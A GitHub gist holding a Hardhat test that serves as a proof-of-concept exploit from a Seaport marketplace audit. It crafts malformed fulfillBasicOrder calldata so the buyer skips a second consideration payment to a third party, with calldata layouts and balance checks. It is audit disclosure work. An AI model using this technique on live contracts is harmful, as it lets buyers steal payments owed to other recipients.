-
-
Save 0xsanson/e87e5fe26665c6cecaef2d9c4b0d53f4 to your computer and use it in GitHub Desktop.
Test exploit regarding bad consideration length assertment [Seaport Audit]
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Test exploit regarding bad consideration length assertment. | |
Opensea Seaport audit. | |
= = = = = = = = = = = = = = = | |
How to run: | |
- save as ./test/testBadConsiderationLength.js | |
- npx hardhat test test/testBadConsiderationLength.js | |
= = = = = = = = = = = = = = = | |
Premise: | |
- Alice is the victim, Bob the exploiter. | |
Alice makes the following order: | |
- offer: one ERC721 token | |
- consideration: two elements, both the same ERC20 token | |
1st with recipient herself, amount = 1000 | |
2nd with recipient Carol (can be zone or owner or a friend), amount = 100 | |
Bob does the following steps: | |
(1) He validates Alice's order, passing her signature | |
(2.1) He prepares the correct `parameters` for the basic order | |
(2.2) He changes `parameters.additionalRecipients` to `[]` | |
(2.3) He changes `parameters.signature` to | |
`0x${24 zeroes}${Carol's address}${other zeroes}`, | |
in a way that signature.length = 100 and | |
the first 32 bytes are Carol's address padded with zeroes. | |
(2.4) He calls fulfillBasicOrder passing this fake parameters. | |
Expected result: | |
- Alice gets 1000 tokens, Carol gets 100 | |
- Bob buys the NFT for 1100 tokens | |
Actual result: | |
- Alice gets 1000 tokens, Carol gets 0 | |
- Bob buys the NFT for only 1000 tokens | |
= = = = = = = = = = = = = = = | |
Explanation: | |
To illustrate, this is how the correct calldata looks like: | |
... | |
0000000000000000000000000000000000000000000000000000000000000001 tot original | |
0000000000000000000000000000000000000000000000000000000000000240 head addRec | |
00000000000000000000000000000000000000000000000000000000000002a0 head signature | |
0000000000000000000000000000000000000000000000000000000000000001 length addRec | |
0000000000000000000000000000000000000000000000000000000000000064 amount | |
00000000000000000000000090f79bf6eb2c4f870365e785982e1f101e93b906 recipient (Carol) | |
0000000000000000000000000000000000000000000000000000000000000040 length signature | |
75543b3ec1932482e8ee21e1d6112bbbf33de34f63deacbf75016d99ca4c33ee signature body | |
95ae6f79326c3580b255ff209fe509c4a6f9cbdcea784e84af33c2f33baa6f52 '' | |
And this is the fake calldata: | |
... | |
0000000000000000000000000000000000000000000000000000000000000001 tot original | |
0000000000000000000000000000000000000000000000000000000000000240 head addRec | |
0000000000000000000000000000000000000000000000000000000000000260 head signature | |
0000000000000000000000000000000000000000000000000000000000000000 length addRec | |
0000000000000000000000000000000000000000000000000000000000000064 length signature | |
00000000000000000000000090f79bf6eb2c4f870365e785982e1f101e93b906 signature body | |
0000000000000000000000000000000000000000000000000000000000000000 '' | |
0000000000000000000000000000000000000000000000000000000000000000 '' | |
0000000000000000000000000000000000000000000000000000000000000000 '' | |
You can see that the {amount, recipient} slots contain the same information, | |
so the orderHash calculated from calldata is the same. | |
By validating the order beforehand, it doesn't matter that the signature is wrong. | |
When time comes to transfer the tokens, the code looks at addRec array, | |
which is empty, so the second consideration is ignored. | |
= = = = = = = = = = = = = = = | |
*/ | |
/* eslint-disable no-unused-expressions */ | |
const { expect } = require("chai"); | |
const { | |
constants, | |
utils: { parseEther, keccak256, toUtf8Bytes, recoverAddress }, | |
Contract, | |
} = require("ethers"); | |
const { ethers } = require("hardhat"); | |
const { faucet, whileImpersonating } = require("./utils/impersonate"); | |
const { deployContract } = require("./utils/contracts"); | |
const { merkleTree } = require("./utils/criteria"); | |
const deployConstants = require("../constants/constants"); | |
const { | |
randomHex, | |
random128, | |
toAddress, | |
toKey, | |
convertSignatureToEIP2098, | |
getBasicOrderParameters, | |
getOfferOrConsiderationItem, | |
getItemETH, | |
toBN, | |
randomBN, | |
} = require("./utils/encoding"); | |
const { orderType } = require("../eip-712-types/order"); | |
const { randomInt } = require("crypto"); | |
const { getCreate2Address } = require("ethers/lib/utils"); | |
const { tokensFixture } = require("./utils/fixtures"); | |
const VERSION = !process.env.REFERENCE ? "1" : "rc.1"; | |
const buildOrderStatus = (...arr) => { | |
const values = arr.map((v) => (typeof v === "number" ? toBN(v) : v)); | |
return ["isValidated", "isCancelled", "totalFilled", "totalSize"].reduce( | |
(obj, key, i) => ({ | |
...obj, | |
[key]: values[i], | |
[i]: values[i], | |
}), | |
{} | |
); | |
}; | |
describe('Consideration Length Exploit in Basic Order', () => { | |
const provider = ethers.provider; | |
let domainData; | |
let marketplaceContract; | |
let testERC20, testERC721; | |
let owner, alice, bob, carol; | |
let order, orderHash; | |
const set721ApprovalForAll = async ( | |
signer, | |
spender, | |
approved = true, | |
contract = testERC721 | |
) => | |
expect(contract.connect(signer).setApprovalForAll(spender, approved)) | |
.to.emit(contract, "ApprovalForAll") | |
.withArgs(signer.address, spender, approved); | |
const mint721 = async (signer, id) => { | |
const nftId = id ? toBN(id) : randomBN(); | |
await testERC721.mint(signer.address, nftId); | |
return nftId; | |
}; | |
const mintAndApprove721 = async (signer, spender, id) => { | |
await set721ApprovalForAll(signer, spender, true); | |
return mint721(signer, id); | |
}; | |
const mintAndApproveERC20 = async (signer, spender, tokenAmount) => { | |
// Offerer mints ERC20 | |
await testERC20.mint(signer.address, tokenAmount); | |
// Offerer approves marketplace contract to tokens | |
await expect(testERC20.connect(signer).approve(spender, tokenAmount)) | |
.to.emit(testERC20, "Approval") | |
.withArgs(signer.address, spender, tokenAmount); | |
}; | |
const getAndVerifyOrderHash = async (orderComponents) => { | |
const orderHash = await marketplaceContract.getOrderHash(orderComponents); | |
const offerItemTypeString = | |
"OfferItem(uint8 itemType,address token,uint256 identifierOrCriteria,uint256 startAmount,uint256 endAmount)"; | |
const considerationItemTypeString = | |
"ConsiderationItem(uint8 itemType,address token,uint256 identifierOrCriteria,uint256 startAmount,uint256 endAmount,address recipient)"; | |
const orderComponentsPartialTypeString = | |
"OrderComponents(address offerer,address zone,OfferItem[] offer,ConsiderationItem[] consideration,uint8 orderType,uint256 startTime,uint256 endTime,bytes32 zoneHash,uint256 salt,bytes32 conduitKey,uint256 nonce)"; | |
const orderTypeString = `${orderComponentsPartialTypeString}${considerationItemTypeString}${offerItemTypeString}`; | |
const offerItemTypeHash = keccak256(toUtf8Bytes(offerItemTypeString)); | |
const considerationItemTypeHash = keccak256( | |
toUtf8Bytes(considerationItemTypeString) | |
); | |
const orderTypeHash = keccak256(toUtf8Bytes(orderTypeString)); | |
const offerHash = keccak256( | |
"0x" + | |
orderComponents.offer | |
.map((offerItem) => { | |
return ethers.utils | |
.keccak256( | |
"0x" + | |
[ | |
offerItemTypeHash.slice(2), | |
offerItem.itemType.toString().padStart(64, "0"), | |
offerItem.token.slice(2).padStart(64, "0"), | |
toBN(offerItem.identifierOrCriteria) | |
.toHexString() | |
.slice(2) | |
.padStart(64, "0"), | |
toBN(offerItem.startAmount) | |
.toHexString() | |
.slice(2) | |
.padStart(64, "0"), | |
toBN(offerItem.endAmount) | |
.toHexString() | |
.slice(2) | |
.padStart(64, "0"), | |
].join("") | |
) | |
.slice(2); | |
}) | |
.join("") | |
); | |
const considerationHash = keccak256( | |
"0x" + | |
orderComponents.consideration | |
.map((considerationItem) => { | |
return ethers.utils | |
.keccak256( | |
"0x" + | |
[ | |
considerationItemTypeHash.slice(2), | |
considerationItem.itemType.toString().padStart(64, "0"), | |
considerationItem.token.slice(2).padStart(64, "0"), | |
toBN(considerationItem.identifierOrCriteria) | |
.toHexString() | |
.slice(2) | |
.padStart(64, "0"), | |
toBN(considerationItem.startAmount) | |
.toHexString() | |
.slice(2) | |
.padStart(64, "0"), | |
toBN(considerationItem.endAmount) | |
.toHexString() | |
.slice(2) | |
.padStart(64, "0"), | |
considerationItem.recipient.slice(2).padStart(64, "0"), | |
].join("") | |
) | |
.slice(2); | |
}) | |
.join("") | |
); | |
const derivedOrderHash = keccak256( | |
"0x" + | |
[ | |
orderTypeHash.slice(2), | |
orderComponents.offerer.slice(2).padStart(64, "0"), | |
orderComponents.zone.slice(2).padStart(64, "0"), | |
offerHash.slice(2), | |
considerationHash.slice(2), | |
orderComponents.orderType.toString().padStart(64, "0"), | |
toBN(orderComponents.startTime) | |
.toHexString() | |
.slice(2) | |
.padStart(64, "0"), | |
toBN(orderComponents.endTime) | |
.toHexString() | |
.slice(2) | |
.padStart(64, "0"), | |
orderComponents.zoneHash.slice(2), | |
orderComponents.salt.slice(2).padStart(64, "0"), | |
orderComponents.conduitKey.slice(2).padStart(64, "0"), | |
toBN(orderComponents.nonce).toHexString().slice(2).padStart(64, "0"), | |
].join("") | |
); | |
expect(orderHash).to.equal(derivedOrderHash); | |
return orderHash; | |
}; | |
// Returns signature | |
const signOrder = async (orderComponents, signer) => { | |
const signature = await signer._signTypedData( | |
domainData, | |
orderType, | |
orderComponents | |
); | |
const orderHash = await getAndVerifyOrderHash(orderComponents); | |
const { domainSeparator } = await marketplaceContract.information(); | |
const digest = keccak256( | |
`0x1901${domainSeparator.slice(2)}${orderHash.slice(2)}` | |
); | |
const recoveredAddress = recoverAddress(digest, signature); | |
expect(recoveredAddress).to.equal(signer.address); | |
return signature; | |
}; | |
const createOrder = async ( | |
offerer, | |
zone, | |
offer, | |
consideration, | |
orderType, | |
criteriaResolvers, | |
timeFlag, | |
signer, | |
zoneHash = constants.HashZero, | |
conduitKey = constants.HashZero, | |
extraCheap = false | |
) => { | |
const nonce = await marketplaceContract.getNonce(offerer.address); | |
const salt = !extraCheap ? randomHex() : constants.HashZero; | |
const startTime = | |
timeFlag !== "NOT_STARTED" ? 0 : toBN("0xee00000000000000000000000000"); | |
const endTime = | |
timeFlag !== "EXPIRED" ? toBN("0xff00000000000000000000000000") : 1; | |
const orderParameters = { | |
offerer: offerer.address, | |
zone: !extraCheap ? zone.address : constants.AddressZero, | |
offer, | |
consideration, | |
totalOriginalConsiderationItems: consideration.length, | |
orderType, | |
zoneHash, | |
salt, | |
conduitKey, | |
startTime, | |
endTime, | |
}; | |
const orderComponents = { | |
...orderParameters, | |
nonce, | |
}; | |
const orderHash = await getAndVerifyOrderHash(orderComponents); | |
const { isValidated, isCancelled, totalFilled, totalSize } = | |
await marketplaceContract.getOrderStatus(orderHash); | |
expect(isCancelled).to.equal(false); | |
const orderStatus = { | |
isValidated, | |
isCancelled, | |
totalFilled, | |
totalSize, | |
}; | |
const flatSig = await signOrder(orderComponents, signer || offerer); | |
const order = { | |
parameters: orderParameters, | |
signature: !extraCheap ? flatSig : convertSignatureToEIP2098(flatSig), | |
numerator: 1, // only used for advanced orders | |
denominator: 1, // only used for advanced orders | |
extraData: "0x", // only used for advanced orders | |
}; | |
// How much ether (at most) needs to be supplied when fulfilling the order | |
const value = offer | |
.map((x) => | |
x.itemType === 0 | |
? x.endAmount.gt(x.startAmount) | |
? x.endAmount | |
: x.startAmount | |
: toBN(0) | |
) | |
.reduce((a, b) => a.add(b), toBN(0)) | |
.add( | |
consideration | |
.map((x) => | |
x.itemType === 0 | |
? x.endAmount.gt(x.startAmount) | |
? x.endAmount | |
: x.startAmount | |
: toBN(0) | |
) | |
.reduce((a, b) => a.add(b), toBN(0)) | |
); | |
return { | |
order, | |
orderHash, | |
value, | |
orderStatus, | |
orderComponents, | |
}; | |
}; | |
before(async () => { | |
[owner, alice, bob, carol] = await ethers.getSigners(); | |
// Deploy conduit controller, | |
// only used as argument for marketplace constructor. | |
const conduitController = await deployContract("ConduitController", owner); | |
// Deploy marketplace. | |
marketplaceContract = await deployContract('Seaport', owner, conduitController.address); | |
// Deploy test tokens. | |
testERC20 = await deployContract("TestERC20", owner); | |
testERC721 = await deployContract("TestERC721", owner); | |
// ERC721 with ID = 1 | |
await mintAndApprove721(alice, marketplaceContract.address, 1) | |
// ERC20 with amount = 1100 | |
await mintAndApproveERC20(bob, marketplaceContract.address, 1000+100) | |
// -- | |
const network = await provider.getNetwork(); | |
const chainId = network.chainId; | |
domainData = { | |
name: process.env.REFERENCE ? "Consideration" : "Seaport", | |
version: VERSION, | |
chainId: chainId, | |
verifyingContract: marketplaceContract.address, | |
}; | |
}) | |
it('Owners should have the right tokens', async () => { | |
const ownerOfNFT = await testERC721.ownerOf(1); | |
const aliceTokenBalance = await testERC20.balanceOf(alice.address); | |
const bobTokenBalance = await testERC20.balanceOf(bob.address); | |
const carolTokenBalance = await testERC20.balanceOf(carol.address); | |
expect(ownerOfNFT).to.equal(alice.address); | |
expect(aliceTokenBalance).to.equal(0); | |
expect(bobTokenBalance).to.equal(1000+100); | |
expect(carolTokenBalance).to.equal(0); | |
}) | |
it('Alice makes the order and Bob validates it', async () => { | |
const offer = [ | |
getOfferOrConsiderationItem( | |
2, // ERC721 | |
testERC721.address, | |
1, // nftId | |
1, // start | |
1, // end | |
) | |
]; | |
const consideration = [ | |
getOfferOrConsiderationItem( | |
1, // ERC20 | |
testERC20.address, | |
0, | |
1000, | |
1000, | |
alice.address // recipient | |
), | |
getOfferOrConsiderationItem( | |
1, | |
testERC20.address, | |
0, | |
100, | |
100, | |
carol.address | |
), | |
]; | |
const results = await createOrder( | |
alice, | |
constants.AddressZero, // zone | |
offer, | |
consideration, | |
0, // FULL_OPEN | |
[], // criteria | |
null, // timeFlag | |
alice, // signer | |
constants.HashZero, // zoneHash | |
constants.HashZero, // conduitKey | |
true, // extraCheap | |
); | |
order = results.order; | |
orderHash = results.orderHash; | |
// OrderStatus is not validated | |
let orderStatus = await marketplaceContract.getOrderStatus(orderHash); | |
expect({ ...orderStatus }).to.deep.equal( | |
buildOrderStatus(false, false, 0, 0) | |
); | |
// Bob validates the order | |
await expect(marketplaceContract.connect(bob).validate([order])) | |
.to.emit(marketplaceContract, "OrderValidated") | |
.withArgs(orderHash, alice.address, constants.AddressZero); | |
// OrderStatus is validated | |
orderStatus = await marketplaceContract.getOrderStatus(orderHash); | |
expect({ ...orderStatus }).to.deep.equal( | |
buildOrderStatus(true, false, 0, 0) | |
); | |
}) | |
it('Exploit: Bob fulfills using a custom calldata', async () => { | |
// True Parameters | |
const basicOrderParameters = getBasicOrderParameters( | |
2, // ERC20ForERC721 | |
order | |
); | |
// Modify them | |
basicOrderParameters.additionalRecipients = [] | |
//basicOrderParameters.signature = ... | |
// Modify signature | |
const data = marketplaceContract.interface.encodeFunctionData("fulfillBasicOrder", [basicOrderParameters]) | |
const newdata = ethers.utils.hexConcat([ | |
ethers.utils.hexDataSlice(data, 0, 4+32*20), | |
ethers.utils.defaultAbiCoder.encode(['uint256'],[100]), // signature_length = amount | |
ethers.utils.hexZeroPad(carol.address, 32), // Carol's address in signature body | |
ethers.utils.hexZeroPad("0x", 32*Math.ceil(100/32-1)), // empty to fill length | |
]) | |
//console.log(`newdata = ${newdata}`) | |
// Try fulfill low-level | |
await expect(bob.sendTransaction({ | |
to: marketplaceContract.address, | |
data: newdata | |
})).to.emit(marketplaceContract, "OrderFulfilled") | |
}) | |
it('Check aftermath', async () => { | |
const ownerOfNFT = await testERC721.ownerOf(1); | |
const aliceTokenBalance = await testERC20.balanceOf(alice.address); | |
const bobTokenBalance = await testERC20.balanceOf(bob.address); | |
const carolTokenBalance = await testERC20.balanceOf(carol.address); | |
expect(ownerOfNFT).to.equal(bob.address); | |
expect(aliceTokenBalance).to.equal(1000); | |
expect(bobTokenBalance).to.equal(100); | |
expect(carolTokenBalance).to.equal(0); | |
console.log(`- - Aftermath - -`) | |
console.log(`Alice token balance before: ${0}`) | |
console.log(`Alice token balance after: ${1000}`) | |
console.log(`- - -`) | |
console.log(`Bob token balance before: ${1000+100}`) | |
console.log(`Bob token balance after: ${100}`) | |
console.log(`- - -`) | |
console.log(`Carol token balance before: ${0}`) | |
console.log(`Carol token balance after: ${0}`) | |
console.log(`- - - - - -`) | |
}) | |
}) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment